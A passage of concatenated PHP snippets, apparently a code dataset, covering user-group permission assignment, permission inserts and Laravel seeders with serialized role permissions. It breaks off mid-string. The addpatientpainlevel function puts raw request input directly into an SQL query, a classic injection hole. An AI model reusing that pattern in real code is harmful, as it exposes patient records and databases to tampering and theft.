$PlatformUserGroupHasPermissionSet->getPermissionSetIdsByGroupId($groupId);\n \n $permissionIds = (new PermissionSetHasPermissionCollection())->getPermissionIdsByIds($permissionSetIds);\n\n $PlatformUserGroupHasPermission = new PlatformUserGroupHasPermissionCollection($dao);\n $effectRows = $PlatformUserGroupHasPermission->append($groupId,$permissionIds);\n\n if( $effectRows!=count($permissionIds) ){\n throw new Exception(\"Append Permission ids into PlatformUserGroup was error effectRows\", 1);\n }\n \n $dao->commit();\n return array();\n\n }\n catch(Exception $e) {\n $dao->rollback();\n throw $e;\n }\n }\n else {\n throw new DbOperationException(\"Begin transaction fail.\");\n }\n }", "function addpatientpainlevel()\n {\n $userid = $this->userInfo('user_id');\n $painlevel = $_REQUEST['painlevel'];\n $query = \"INSERT INTO patient_pain_level(patient_id,painlevel,creation_on,modification_on) VALUES('$userid','$painlevel',now(),now())\";\n $result = @mysql_query($query);\n\n if($result)\n {\n //echo \"add\";\n }\n else\n {\n //echo \"fail\";\n }\n }", "public function run()\n {\n DB::table('permissions')->insert(\n [\n [\n 'alias' => 'ADMINISTRATOR_ACCESS',\n 'title' => 'Administrator access',\n ]\n ]\n );\n }", "public function createPermissions($list)\n {\n if (!$this->validatePermissions($list)) {\n return \"VALIDATE_BAD\";\n }\n\n $db = \\LeadMax\\TrackYourStats\\Database\\DatabaseConnection::getInstance();\n $sql = \"INSERT INTO permissions (\";\n\n $keys = array_keys($list);\n for ($i = 0; $i < count($keys); $i++) {\n if ($i == count($keys) - 1) {\n $sql .= $keys[$i].\") \";\n } else {\n $sql .= $keys[$i].\", \";\n }\n }\n\n $sql .= \"VALUES (\";\n\n for ($i = 0; $i < count($keys); $i++) {\n if ($i == count($keys) - 1) {\n $sql .= \"?)\";\n } else {\n $sql .= \"?, \";\n }\n\n }\n\n $values = array_values($list);\n\n\n $prep = $db->prepare($sql);\n if ($prep->execute($values)) {\n return true;\n }\n\n return \"DB_ERROR\";\n\n\n }", "private function setLevel()\n\t{\n\t\t$level_count = $this->db->cacheGetOne(\"SELECT COUNT(*) FROM `bin_level` WHERE 1\");\n\t\tif ($level_count > 1) // binary level\n\t\t{\n\t\t\t$this->levelType = 1;\n\t\t\t$this->levelArr = $this->db->getAssoc(\"SELECT `id`, `name` FROM `bin_level` WHERE 1\");\n\t\t}else{\n\t\t\t$level_count = $this->db->cacheGetOne(\"SELECT COUNT(*) FROM `bin_serial_type` WHERE 1\");\n\t\t\tif ($level_count > 1)\n\t\t\t{\n\t\t\t\t$this->levelType = 2;\n\t\t\t\t$this->levelArr = $this->db->getAssoc(\"SELECT `id`, `name` FROM `bin_serial_type` WHERE 1\");\n\t\t\t}else{\n\t\t\t\t$level_count = $this->db->cacheGetOne(\"SELECT COUNT(*) FROM `bbc_user_group` WHERE `is_admin`=0\");\n\t\t\t\tif ($level_count > 2) // user group level\n\t\t\t\t{\n\t\t\t\t\t$this->levelType = 3;\n\t\t\t\t\t$this->levelArr = $this->db->getAssoc(\"SELECT `id`, `name` FROM `bbc_user_group` WHERE `is_admin`=0\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function run()\n {\n \n\n \\DB::table('ori_roles')->delete();\n \n \\DB::table('ori_roles')->insert(array (\n 0 => \n array (\n 'id' => 1,\n 'cmpny_id' => 1,\n 'role' => 'Super Administrator',\n 'access_permission' => 'a:98:{i:0;a:2:{s:13:\"permission_id\";s:1:\"1\";s:15:\"permission_name\";s:21:\"permission management\";}i:1;a:2:{s:13:\"permission_id\";s:2:\"45\";s:15:\"permission_name\";s:10:\"emailfetch\";}i:2;a:2:{s:13:\"permission_id\";s:1:\"2\";s:15:\"permission_name\";s:15:\"role management\";}i:3;a:2:{s:13:\"permission_id\";s:1:\"3\";s:15:\"permission_name\";s:15:\"user management\";}i:4;a:2:{s:13:\"permission_id\";s:1:\"4\";s:15:\"permission_name\";s:11:\"plan create\";}i:5;a:2:{s:13:\"permission_id\";s:1:\"5\";s:15:\"permission_name\";s:9:\"plan edit\";}i:6;a:2:{s:13:\"permission_id\";s:1:\"6\";s:15:\"permission_name\";s:9:\"plan list\";}i:7;a:2:{s:13:\"permission_id\";s:1:\"7\";s:15:\"permission_name\";s:11:\"plan delete\";}i:8;a:2:{s:13:\"permission_id\";s:1:\"8\";s:15:\"permission_name\";s:17:\"query type create\";}i:9;a:2:{s:13:\"permission_id\";s:1:\"9\";s:15:\"permission_name\";s:15:\"query type edit\";}i:10;a:2:{s:13:\"permission_id\";s:2:\"10\";s:15:\"permission_name\";s:15:\"query type list\";}i:11;a:2:{s:13:\"permission_id\";s:2:\"11\";s:15:\"permission_name\";s:17:\"query type delete\";}i:12;a:2:{s:13:\"permission_id\";s:2:\"12\";s:15:\"permission_name\";s:19:\"query status create\";}i:13;a:2:{s:13:\"permission_id\";s:2:\"13\";s:15:\"permission_name\";s:17:\"query status edit\";}i:14;a:2:{s:13:\"permission_id\";s:2:\"14\";s:15:\"permission_name\";s:17:\"query status list\";}i:15;a:2:{s:13:\"permission_id\";s:2:\"15\";s:15:\"permission_name\";s:19:\"query status delete\";}i:16;a:2:{s:13:\"permission_id\";s:2:\"16\";s:15:\"permission_name\";s:22:\"customer nature create\";}i:17;a:2:{s:13:\"permission_id\";s:2:\"17\";s:15:\"permission_name\";s:20:\"customer nature edit\";}i:18;a:2:{s:13:\"permission_id\";s:2:\"18\";s:15:\"permission_name\";s:20:\"customer nature list\";}i:19;a:2:{s:13:\"permission_id\";s:2:\"19\";s:15:\"permission_name\";s:22:\"customer nature delete\";}i:20;a:2:{s:13:\"permission_id\";s:2:\"20\";s:15:\"permission_name\";s:24:\"customer priority create\";}i:21;a:2:{s:13:\"permission_id\";s:2:\"21\";s:15:\"permission_name\";s:22:\"customer priority edit\";}i:22;a:2:{s:13:\"permission_id\";s:2:\"22\";s:15:\"permission_name\";s:22:\"customer priority list\";}i:23;a:2:{s:13:\"permission_id\";s:2:\"23\";s:15:\"permission_name\";s:24:\"customer priority delete\";}i:24;a:2:{s:13:\"permission_id\";s:2:\"29\";s:15:\"permission_name\";s:13:\"settings view\";}i:25;a:2:{s:13:\"permission_id\";s:2:\"37\";s:15:\"permission_name\";s:14:\"changepassword\";}i:26;a:2:{s:13:\"permission_id\";s:2:\"24\";s:15:\"permission_name\";s:10:\"faq create\";}i:27;a:2:{s:13:\"permission_id\";s:2:\"25\";s:15:\"permission_name\";s:8:\"faq edit\";}i:28;a:2:{s:13:\"permission_id\";s:2:\"26\";s:15:\"permission_name\";s:8:\"faq list\";}i:29;a:2:{s:13:\"permission_id\";s:2:\"27\";s:15:\"permission_name\";s:10:\"faq delete\";}i:30;a:2:{s:13:\"permission_id\";s:2:\"28\";s:15:\"permission_name\";s:19:\"view faq categories\";}i:31;a:2:{s:13:\"permission_id\";s:2:\"30\";s:15:\"permission_name\";s:15:\"template create\";}i:32;a:2:{s:13:\"permission_id\";s:2:\"31\";s:15:\"permission_name\";s:13:\"template edit\";}i:33;a:2:{s:13:\"permission_id\";s:2:\"32\";s:15:\"permission_name\";s:13:\"template list\";}i:34;a:2:{s:13:\"permission_id\";s:2:\"33\";s:15:\"permission_name\";s:15:\"template delete\";}i:35;a:2:{s:13:\"permission_id\";s:2:\"34\";s:15:\"permission_name\";s:14:\"profile create\";}i:36;a:2:{s:13:\"permission_id\";s:2:\"35\";s:15:\"permission_name\";s:12:\"profile view\";}i:37;a:2:{s:13:\"permission_id\";s:2:\"36\";s:15:\"permission_name\";s:9:\"lead list\";}i:38;a:2:{s:13:\"permission_id\";s:2:\"51\";s:15:\"permission_name\";s:23:\"lead source type create\";}i:39;a:2:{s:13:\"permission_id\";s:2:\"52\";s:15:\"permission_name\";s:21:\"lead source type edit\";}i:40;a:2:{s:13:\"permission_id\";s:2:\"53\";s:15:\"permission_name\";s:21:\"lead source type list\";}i:41;a:2:{s:13:\"permission_id\";s:2:\"54\";s:15:\"permission_name\";s:23:\"lead source type delete\";}i:42;a:2:{s:13:\"permission_id\";s:2:\"55\";s:15:\"permission_name\";s:18:\"lead source create\";}i:43;a:2:{s:13:\"permission_id\";s:2:\"56\";s:15:\"permission_name\";s:16:\"lead source edit\";}i:44;a:2:{s:13:\"permission_id\";s:2:\"57\";s:15:\"permission_name\";s:16:\"lead source list\";}i:45;a:2:{s:13:\"permission_id\";s:2:\"58\";s:15:\"permission_name\";s:18:\"lead source delete\";}i:46;a:2:{s:13:\"permission_id\";s:2:\"40\";s:15:\"permission_name\";s:24:\"service request all list\";}i:47;a:2:{s:13:\"permission_id\";s:2:\"41\";s:15:\"permission_name\";s:24:\"escalation summary chart\";}i:48;a:2:{s:13:\"permission_id\";s:2:\"43\";s:15:\"permission_name\";s:12:\"escalated to\";}i:49;a:2:{s:13:\"permission_id\";s:3:\"100\";s:15:\"permission_name\";s:8:\"escalate\";}i:50;a:2:{s:13:\"permission_id\";s:2:\"44\";s:15:\"permission_name\";s:13:\"followup view\";}i:51;a:2:{s:13:\"permission_id\";s:2:\"47\";s:15:\"permission_name\";s:16:\"Followups Reopen\";}i:52;a:2:{s:13:\"permission_id\";s:2:\"48\";s:15:\"permission_name\";s:21:\"followup history edit\";}i:53;a:2:{s:13:\"permission_id\";s:2:\"99\";s:15:\"permission_name\";s:18:\"export in helpdesk\";}i:54;a:2:{s:13:\"permission_id\";s:2:\"46\";s:15:\"permission_name\";s:17:\"survey management\";}i:55;a:2:{s:13:\"permission_id\";s:2:\"49\";s:15:\"permission_name\";s:13:\"survey report\";}i:56;a:2:{s:13:\"permission_id\";s:2:\"39\";s:15:\"permission_name\";s:17:\"feedback settings\";}i:57;a:2:{s:13:\"permission_id\";s:2:\"50\";s:15:\"permission_name\";s:15:\"feedback report\";}i:58;a:2:{s:13:\"permission_id\";s:2:\"38\";s:15:\"permission_name\";s:19:\"question management\";}i:59;a:2:{s:13:\"permission_id\";s:2:\"42\";s:15:\"permission_name\";s:19:\"campaign management\";}i:60;a:2:{s:13:\"permission_id\";s:2:\"71\";s:15:\"permission_name\";s:15:\"campaign create\";}i:61;a:2:{s:13:\"permission_id\";s:2:\"72\";s:15:\"permission_name\";s:13:\"campaign edit\";}i:62;a:2:{s:13:\"permission_id\";s:2:\"73\";s:15:\"permission_name\";s:13:\"campaign list\";}i:63;a:2:{s:13:\"permission_id\";s:2:\"74\";s:15:\"permission_name\";s:15:\"campaign delete\";}i:64;a:2:{s:13:\"permission_id\";s:2:\"59\";s:15:\"permission_name\";s:23:\"sales automation create\";}i:65;a:2:{s:13:\"permission_id\";s:2:\"60\";s:15:\"permission_name\";s:21:\"sales automation edit\";}i:66;a:2:{s:13:\"permission_id\";s:2:\"61\";s:15:\"permission_name\";s:21:\"sales automation list\";}i:67;a:2:{s:13:\"permission_id\";s:2:\"62\";s:15:\"permission_name\";s:23:\"sales automation delete\";}i:68;a:2:{s:13:\"permission_id\";s:2:\"63\";s:15:\"permission_name\";s:26:\"intimation settings create\";}i:69;a:2:{s:13:\"permission_id\";s:2:\"64\";s:15:\"permission_name\";s:24:\"intimation settings edit\";}i:70;a:2:{s:13:\"permission_id\";s:2:\"65\";s:15:\"permission_name\";s:17:\"notification list\";}i:71;a:2:{s:13:\"permission_id\";s:2:\"66\";s:15:\"permission_name\";s:16:\"group management\";}i:72;a:2:{s:13:\"permission_id\";s:2:\"67\";s:15:\"permission_name\";s:12:\"group create\";}i:73;a:2:{s:13:\"permission_id\";s:2:\"68\";s:15:\"permission_name\";s:10:\"group edit\";}i:74;a:2:{s:13:\"permission_id\";s:2:\"69\";s:15:\"permission_name\";s:10:\"group list\";}i:75;a:2:{s:13:\"permission_id\";s:2:\"70\";s:15:\"permission_name\";s:12:\"group delete\";}i:76;a:2:{s:13:\"permission_id\";s:2:\"84\";s:15:\"permission_name\";s:17:\"group lead import\";}i:77;a:2:{s:13:\"permission_id\";s:2:\"85\";s:15:\"permission_name\";s:18:\"group excel import\";}i:78;a:2:{s:13:\"permission_id\";s:2:\"75\";s:15:\"permission_name\";s:29:\"campaign email delivery graph\";}i:79;a:2:{s:13:\"permission_id\";s:2:\"76\";s:15:\"permission_name\";s:32:\"campaign batch efficiency report\";}i:80;a:2:{s:13:\"permission_id\";s:2:\"77\";s:15:\"permission_name\";s:27:\"campaign email batch report\";}i:81;a:2:{s:13:\"permission_id\";s:2:\"78\";s:15:\"permission_name\";s:27:\"campaign sms delivery graph\";}i:82;a:2:{s:13:\"permission_id\";s:2:\"79\";s:15:\"permission_name\";s:25:\"campaign sms batch report\";}i:83;a:2:{s:13:\"permission_id\";s:2:\"80\";s:15:\"permission_name\";s:30:\"campaign autodial status graph\";}i:84;a:2:{s:13:\"permission_id\";s:2:\"81\";s:15:\"permission_name\";s:30:\"campaign autodial batch report\";}i:85;a:2:{s:13:\"permission_id\";s:2:\"82\";s:15:\"permission_name\";s:32:\"campaign manualcall status graph\";}i:86;a:2:{s:13:\"permission_id\";s:2:\"83\";s:15:\"permission_name\";s:32:\"campaign manualcall batch report\";}i:87;a:2:{s:13:\"permission_id\";s:2:\"86\";s:15:\"permission_name\";s:19:\"customer tab create\";}i:88;a:2:{s:13:\"permission_id\";s:2:\"87\";s:15:\"permission_name\";s:19:\"customer tab delete\";}i:89;a:2:{s:13:\"permission_id\";s:2:\"88\";s:15:\"permission_name\";s:17:\"customer tab edit\";}i:90;a:2:{s:13:\"permission_id\";s:2:\"89\";s:15:\"permission_name\";s:17:\"customer tab list\";}i:91;a:2:{s:13:\"permission_id\";s:2:\"90\";s:15:\"permission_name\";s:18:\"chat configuration\";}i:92;a:2:{s:13:\"permission_id\";s:2:\"91\";s:15:\"permission_name\";s:26:\"view auto reply categories\";}i:93;a:2:{s:13:\"permission_id\";s:2:\"92\";s:15:\"permission_name\";s:15:\"auto reply list\";}i:94;a:2:{s:13:\"permission_id\";s:2:\"94\";s:15:\"permission_name\";s:13:\"outbound call\";}i:95;a:2:{s:13:\"permission_id\";s:2:\"96\";s:15:\"permission_name\";s:16:\"designation list\";}i:96;a:2:{s:13:\"permission_id\";s:2:\"97\";s:15:\"permission_name\";s:18:\"designation create\";}i:97;a:2:{s:13:\"permission_id\";s:2:\"98\";s:15:\"permission_name\";s:16:\"designation edit\";}}',\n 'created_by' => 1,\n 'updated_by' => 1,\n 'created_at' => '2017-08-04 15:33:37',\n 'updated_at' => '2019-01-18 12:07:41',\n 'deleted_at' => NULL,\n ),\n 1 => \n array (\n 'id' => 2,\n 'cmpny_id' => 2,\n 'role' => 'Administrator',\n 'access_permission' => 'a:105:{i:0;a:2:{s:13:\"permission_id\";s:1:\"1\";s:15:\"permission_name\";s:21:\"permission management\";}i:1;a:2:{s:13:\"permission_id\";s:2:\"45\";s:15:\"permission_name\";s:10:\"emailfetch\";}i:2;a:2:{s:13:\"permission_id\";s:1:\"2\";s:15:\"permission_name\";s:15:\"role management\";}i:3;a:2:{s:13:\"permission_id\";s:1:\"3\";s:15:\"permission_name\";s:15:\"user management\";}i:4;a:2:{s:13:\"permission_id\";s:1:\"4\";s:15:\"permission_name\";s:11:\"plan create\";}i:5;a:2:{s:13:\"permission_id\";s:1:\"5\";s:15:\"permission_name\";s:9:\"plan edit\";}i:6;a:2:{s:13:\"permission_id\";s:1:\"6\";s:15:\"permission_name\";s:9:\"plan list\";}i:7;a:2:{s:13:\"permission_id\";s:1:\"7\";s:15:\"permission_name\";s:11:\"plan delete\";}i:8;a:2:{s:13:\"permission_id\";s:1:\"8\";s:15:\"permission_name\";s:17:\"query type create\";}i:9;a:2:{s:13:\"permission_id\";s:1:\"9\";s:15:\"permission_name\";s:15:\"query type edit\";}i:10;a:2:{s:13:\"permission_id\";s:2:\"10\";s:15:\"permission_name\";s:15:\"query type list\";}i:11;a:2:{s:13:\"permission_id\";s:2:\"11\";s:15:\"permission_name\";s:17:\"query type delete\";}i:12;a:2:{s:13:\"permission_id\";s:2:\"12\";s:15:\"permission_name\";s:19:\"query status create\";}i:13;a:2:{s:13:\"permission_id\";s:2:\"13\";s:15:\"permission_name\";s:17:\"query status edit\";}i:14;a:2:{s:13:\"permission_id\";s:2:\"14\";s:15:\"permission_name\";s:17:\"query status list\";}i:15;a:2:{s:13:\"permission_id\";s:2:\"15\";s:15:\"permission_name\";s:19:\"query status delete\";}i:16;a:2:{s:13:\"permission_id\";s:2:\"16\";s:15:\"permission_name\";s:22:\"customer nature create\";}i:17;a:2:{s:13:\"permission_id\";s:2:\"17\";s:15:\"permission_name\";s:20:\"customer nature edit\";}i:18;a:2:{s:13:\"permission_id\";s:2:\"18\";s:15:\"permission_name\";s:20:\"customer nature list\";}i:19;a:2:{s:13:\"permission_id\";s:2:\"19\";s:15:\"permission_name\";s:22:\"customer nature delete\";}i:20;a:2:{s:13:\"permission_id\";s:2:\"20\";s:15:\"permission_name\";s:24:\"customer priority create\";}i:21;a:2:{s:13:\"permission_id\";s:2:\"21\";s:15:\"permission_name\";s:22:\"customer priority edit\";}i:22;a:2:{s:13:\"permission_id\";s:2:\"22\";s:15:\"permission_name\";s:22:\"customer priority list\";}i:23;a:2:{s:13:\"permission_id\";s:2:\"23\";s:15:\"permission_name\";s:24:\"customer priority delete\";}i:24;a:2:{s:13:\"permission_id\";s:2:\"29\";s:15:\"permission_name\";s:13:\"settings view\";}i:25;a:2:{s:13:\"permission_id\";s:2:\"37\";s:15:\"permission_name\";s:14:\"changepassword\";}i:26;a:2:{s:13:\"permission_id\";s:3:\"104\";s:15:\"permission_name\";s:13:\"chat settings\";}i:27;a:2:{s:13:\"permission_id\";s:3:\"105\";s:15:\"permission_name\";s:19:\"escalation settings\";}i:28;a:2:{s:13:\"permission_id\";s:2:\"24\";s:15:\"permission_name\";s:10:\"faq create\";}i:29;a:2:{s:13:\"permission_id\";s:2:\"25\";s:15:\"permission_name\";s:8:\"faq edit\";}i:30;a:2:{s:13:\"permission_id\";s:2:\"26\";s:15:\"permission_name\";s:8:\"faq list\";}i:31;a:2:{s:13:\"permission_id\";s:2:\"27\";s:15:\"permission_name\";s:10:\"faq delete\";}i:32;a:2:{s:13:\"permission_id\";s:2:\"28\";s:15:\"permission_name\";s:19:\"view faq categories\";}i:33;a:2:{s:13:\"permission_id\";s:2:\"30\";s:15:\"permission_name\";s:15:\"template create\";}i:34;a:2:{s:13:\"permission_id\";s:2:\"31\";s:15:\"permission_name\";s:13:\"template edit\";}i:35;a:2:{s:13:\"permission_id\";s:2:\"32\";s:15:\"permission_name\";s:13:\"template list\";}i:36;a:2:{s:13:\"permission_id\";s:2:\"33\";s:15:\"permission_name\";s:15:\"template delete\";}i:37;a:2:{s:13:\"permission_id\";s:2:\"34\";s:15:\"permission_name\";s:14:\"profile create\";}i:38;a:2:{s:13:\"permission_id\";s:2:\"35\";s:15:\"permission_name\";s:12:\"profile view\";}i:39;a:2:{s:13:\"permission_id\";s:3:\"101\";s:15:\"permission_name\";s:21:\"profile customization\";}i:40;a:2:{s:13:\"permission_id\";s:2:\"36\";s:15:\"permission_name\";s:9:\"lead list\";}i:41;a:2:{s:13:\"permission_id\";s:2:\"51\";s:15:\"permission_name\";s:23:\"lead source type create\";}i:42;a:2:{s:13:\"permission_id\";s:2:\"52\";s:15:\"permission_name\";s:21:\"lead source type edit\";}i:43;a:2:{s:13:\"permission_id\";s:2:\"53\";s:15:\"permission_name\";s:21:\"lead source type list\";}i:44;a:2:{s:13:\"permission_id\";s:2:\"54\";s:15:\"permission_name\";s:23:\"lead source type delete\";}i:45;a:2:{s:13:\"permission_id\";s:2:\"55\";s:15:\"permission_name\";s:18:\"lead source create\";}i:46;a:2:{s:13:\"permission_id\";s:2:\"56\";s:15:\"permission_name\";s:16:\"lead source edit\";}i:47;a:2:{s:13:\"permission_id\";s:2:\"57\";s:15:\"permission_name\";s:16:\"lead source list\";}i:48;a:2:{s:13:\"permission_id\";s:2:\"58\";s:15:\"permission_name\";s:18:\"lead source delete\";}i:49;a:2:{s:13:\"permission_id\";s:2:\"40\";s:15:\"permission_name\";s:24:\"service request all list\";}i:50;a:2:{s:13:\"permission_id\";s:2:\"41\";s:15:\"permission_name\";s:24:\"escalation summary chart\";}i:51;a:2:{s:13:\"permission_id\";s:2:\"43\";s:15:\"permission_name\";s:12:\"escalated to\";}i:52;a:2:{s:13:\"permission_id\";s:3:\"100\";s:15:\"permission_name\";s:8:\"escalate\";}i:53;a:2:{s:13:\"permission_id\";s:2:\"44\";s:15:\"permission_name\";s:13:\"followup view\";}i:54;a:2:{s:13:\"permission_id\";s:2:\"47\";s:15:\"permission_name\";s:16:\"Followups Reopen\";}i:55;a:2:{s:13:\"permission_id\";s:2:\"48\";s:15:\"permission_name\";s:21:\"followup history edit\";}i:56;a:2:{s:13:\"permission_id\";s:2:\"99\";s:15:\"permission_name\";s:18:\"export in helpdesk\";}i:57;a:2:{s:13:\"permission_id\";s:2:\"46\";s:15:\"permission_name\";s:17:\"survey management\";}i:58;a:2:{s:13:\"permission_id\";s:2:\"49\";s:15:\"permission_name\";s:13:\"survey report\";}i:59;a:2:{s:13:\"permission_id\";s:2:\"39\";s:15:\"permission_name\";s:17:\"feedback settings\";}i:60;a:2:{s:13:\"permission_id\";s:2:\"50\";s:15:\"permission_name\";s:15:\"feedback report\";}i:61;a:2:{s:13:\"permission_id\";s:2:\"38\";s:15:\"permission_name\";s:19:\"question management\";}i:62;a:2:{s:13:\"permission_id\";s:2:\"42\";s:15:\"permission_name\";s:19:\"campaign management\";}i:63;a:2:{s:13:\"permission_id\";s:2:\"71\";s:15:\"permission_name\";s:15:\"campaign create\";}i:64;a:2:{s:13:\"permission_id\";s:2:\"72\";s:15:\"permission_name\";s:13:\"campaign edit\";}i:65;a:2:{s:13:\"permission_id\";s:2:\"73\";s:15:\"permission_name\";s:13:\"campaign list\";}i:66;a:2:{s:13:\"permission_id\";s:2:\"74\";s:15:\"permission_name\";s:15:\"campaign delete\";}i:67;a:2:{s:13:\"permission_id\";s:2:\"59\";s:15:\"permission_name\";s:23:\"sales automation create\";}i:68;a:2:{s:13:\"permission_id\";s:2:\"60\";s:15:\"permission_name\";s:21:\"sales automation edit\";}i:69;a:2:{s:13:\"permission_id\";s:2:\"61\";s:15:\"permission_name\";s:21:\"sales automation list\";}i:70;a:2:{s:13:\"permission_id\";s:2:\"62\";s:15:\"permission_name\";s:23:\"sales automation delete\";}i:71;a:2:{s:13:\"permission_id\";s:2:\"63\";s:15:\"permission_name\";s:26:\"intimation settings create\";}i:72;a:2:{s:13:\"permission_id\";s:2:\"64\";s:15:\"permission_name\";s:24:\"intimation settings edit\";}i:73;a:2:{s:13:\"permission_id\";s:3:\"102\";s:15:\"permission_name\";s:12:\"company meta\";}i:74;a:2:{s:13:\"permission_id\";s:3:\"103\";s:15:\"permission_name\";s:15:\"channel gateway\";}i:75;a:2:{s:13:\"permission_id\";s:2:\"65\";s:15:\"permission_name\";s:17:\"notification list\";}i:76;a:2:{s:13:\"permission_id\";s:2:\"66\";s:15:\"permission_name\";s:16:\"group management\";}i:77;a:2:{s:13:\"permission_id\";s:2:\"67\";s:15:\"permission_name\";s:12:\"group create\";}i:78;a:2:{s:13:\"permission_id\";s:2:\"68\";s:15:\"permission_name\";s:10:\"group edit\";}i:79;a:2:{s:13:\"permission_id\";s:2:\"69\";s:15:\"permission_name\";s:10:\"group list\";}i:80;a:2:{s:13:\"permission_id\";s:2:\"70\";s:15:\"permission_name\";s:12:\"group delete\";}i:81;a:2:{s:13:\"permission_id\";s:2:\"84\";s:15:\"permission_name\";s:17:\"group lead import\";}i:82;a:2:{s:13:\"permission_id\";s:2:\"85\";s:15:\"permission_name\";s:18:\"group excel import\";}i:83;a:2:{s:13:\"permission_id\";s:2:\"75\";s:15:\"permission_name\";s:29:\"campaign email delivery graph\";}i:84;a:2:{s:13:\"permission_id\";s:2:\"76\";s:15:\"permission_name\";s:32:\"campaign batch efficiency report\";}i:85;a:2:{s:13:\"permission_id\";s:2:\"77\";s:15:\"permission_name\";s:27:\"campaign email batch report\";}i:86;a:2:{s:13:\"permission_id\";s:2:\"78\";s:15:\"permission_name\";s:27:\"campaign sms delivery graph\";}i:87;a:2:{s:13:\"permission_id\";s:2:\"79\";s:15:\"permission_name\";s:25:\"campaign sms batch report\";}i:88;a:2:{s:13:\"permission_id\";s:2:\"80\";s:15:\"permission_name\";s:30:\"campaign autodial status graph\";}i:89;a:2:{s:13:\"permission_id\";s:2:\"81\";s:15:\"permission_name\";s:30:\"campaign autodial batch report\";}i:90;a:2:{s:13:\"permission_id\";s:2:\"82\";s:15:\"permission_name\";s:32:\"campaign manualcall status graph\";}i:91;a:2:{s:13:\"permission_id\";s:2:\"83\";s:15:\"permission_name\";s:32:\"campaign manualcall batch report\";}i:92;a:2:{s:13:\"permission_id\";s:2:\"86\";s:15:\"permission_name\";s:19:\"customer tab create\";}i:93;a:2:{s:13:\"permission_id\";s:2:\"87\";s:15:\"permission_name\";s:19:\"customer tab delete\";}i:94;a:2:{s:13:\"permission_id\";s:2:\"88\";s:15:\"permission_name\";s:17:\"customer tab edit\";}i:95;a:2:{s:13:\"permission_id\";s:2:\"89\";s:15:\"permission_name\";s:17:\"customer tab list\";}i:96;a:2:{s:13:\"permission_id\";s:2:\"90\";s:15:\"permission_name\";s:18:\"chat configuration\";}i:97;a:2:{s:13:\"permission_id\";s:3:\"106\";s:15:\"permission_name\";s:17:\"chat agent report\";}i:98;a:2:{s:13:\"permission_id\";s:2:\"91\";s:15:\"permission_name\";s:26:\"view auto reply categories\";}i:99;a:2:{s:13:\"permission_id\";s:2:\"92\";s:15:\"permission_name\";s:15:\"auto reply list\";}i:100;a:2:{s:13:\"permission_id\";s:2:\"93\";s:15:\"permission_name\";s:26:\"agent manual outbound call\";}i:101;a:2:{s:13:\"permission_id\";s:2:\"94\";s:15:\"permission_name\";s:13:\"outbound call\";}i:102;a:2:{s:13:\"permission_id\";s:2:\"96\";s:15:\"permission_name\";s:16:\"designation list\";}i:103;a:2:{s:13:\"permission_id\";s:2:\"97\";s:15:\"permission_name\";s:18:\"designation create\";}i:104;a:2:{s:13:\"permission_id\";s:2:\"98\";s:15:\"permission_name\";s:16:\"designation edit\";}}',\n 'created_by' => 2,\n 'updated_by' => 2,\n 'created_at' => '2017-08-04 15:33:37',\n 'updated_at' => '2019-02-02 10:20:49',\n 'deleted_at' => NULL,\n ),\n 2 => \n array (\n 'id' => 3,\n 'cmpny_id' => 2,\n 'role' => 'Nodal Officer',\n 'access_permission' => 'a:15:{i:0;a:2:{s:13:\"permission_id\";s:2:\"29\";s:15:\"permission_name\";s:13:\"settings view\";}i:1;a:2:{s:13:\"permission_id\";s:2:\"37\";s:15:\"permission_name\";s:14:\"changepassword\";}i:2;a:2:{s:13:\"permission_id\";s:2:\"35\";s:15:\"permission_name\";s:12:\"profile view\";}i:3;a:2:{s:13:\"permission_id\";s:2:\"36\";s:15:\"permission_name\";s:9:\"lead list\";}i:4;a:2:{s:13:\"permission_id\";s:2:\"40\";s:15:\"permission_name\";s:24:\"service request all list\";}i:5;a:2:{s:13:\"permission_id\";s:2:\"41\";s:15:\"permission_name\";s:24:\"escalation summary chart\";}i:6;a:2:{s:13:\"permission_id\";s:2:\"43\";s:15:\"permission_name\";s:12:\"escalated to\";}i:7;a:2:{s:13:\"permission_id\";s:3:\"100\";s:15:\"permission_name\";s:8:\"escalate\";}i:8;a:2:{s:13:\"permission_id\";s:2:\"44\";s:15:\"permission_name\";s:13:\"followup view\";}i:9;a:2:{s:13:\"permission_id\";s:2:\"47\";s:15:\"permission_name\";s:16:\"Followups Reopen\";}i:10;a:2:{s:13:\"permission_id\";s:2:\"48\";s:15:\"permission_name\";s:21:\"followup history edit\";}i:11;a:2:{s:13:\"permission_id\";s:2:\"99\";s:15:\"permission_name\";s:18:\"export in helpdesk\";}i:12;a:2:{s:13:\"permission_id\";s:2:\"63\";s:15:\"permission_name\";s:26:\"intimation settings create\";}i:13;a:2:{s:13:\"permission_id\";s:2:\"64\";s:15:\"permission_name\";s:24:\"intimation settings edit\";}i:14;a:2:{s:13:\"permission_id\";s:2:\"65\";s:15:\"permission_name\";s:17:\"notification list\";}}',\n 'created_by' => 2,\n 'updated_by' => 2,\n 'created_at' => '2017-08-26 16:34:00',\n 'updated_at' => '2019-01-21 11:45:19',\n 'deleted_at' => NULL,\n ),\n 3 => \n array (\n 'id' => 4,\n 'cmpny_id' => 2,\n 'role' => 'Chat-Agent',\n 'access_permission' => 'a:44:{i:0;a:2:{s:13:\"permission_id\";s:1:\"1\";s:15:\"permission_name\";s:21:\"permission management\";}i:1;a:2:{s:13:\"permission_id\";s:1:\"2\";s:15:\"permission_name\";s:15:\"role management\";}i:2;a:2:{s:13:\"permission_id\";s:1:\"3\";s:15:\"permission_name\";s:15:\"user management\";}i:3;a:2:{s:13:\"permission_id\";s:1:\"4\";s:15:\"permission_name\";s:11:\"plan create\";}i:4;a:2:{s:13:\"permission_id\";s:1:\"5\";s:15:\"permission_name\";s:9:\"plan edit\";}i:5;a:2:{s:13:\"permission_id\";s:1:\"6\";s:15:\"permission_name\";s:9:\"plan list\";}i:6;a:2:{s:13:\"permission_id\";s:1:\"7\";s:15:\"permission_name\";s:11:\"plan delete\";}i:7;a:2:{s:13:\"permission_id\";s:1:\"8\";s:15:\"permission_name\";s:17:\"query type create\";}i:8;a:2:{s:13:\"permission_id\";s:1:\"9\";s:15:\"permission_name\";s:15:\"query type edit\";}i:9;a:2:{s:13:\"permission_id\";s:2:\"10\";s:15:\"permission_name\";s:15:\"query type list\";}i:10;a:2:{s:13:\"permission_id\";s:2:\"11\";s:15:\"permission_name\";s:17:\"query type delete\";}i:11;a:2:{s:13:\"permission_id\";s:2:\"12\";s:15:\"permission_name\";s:19:\"query status 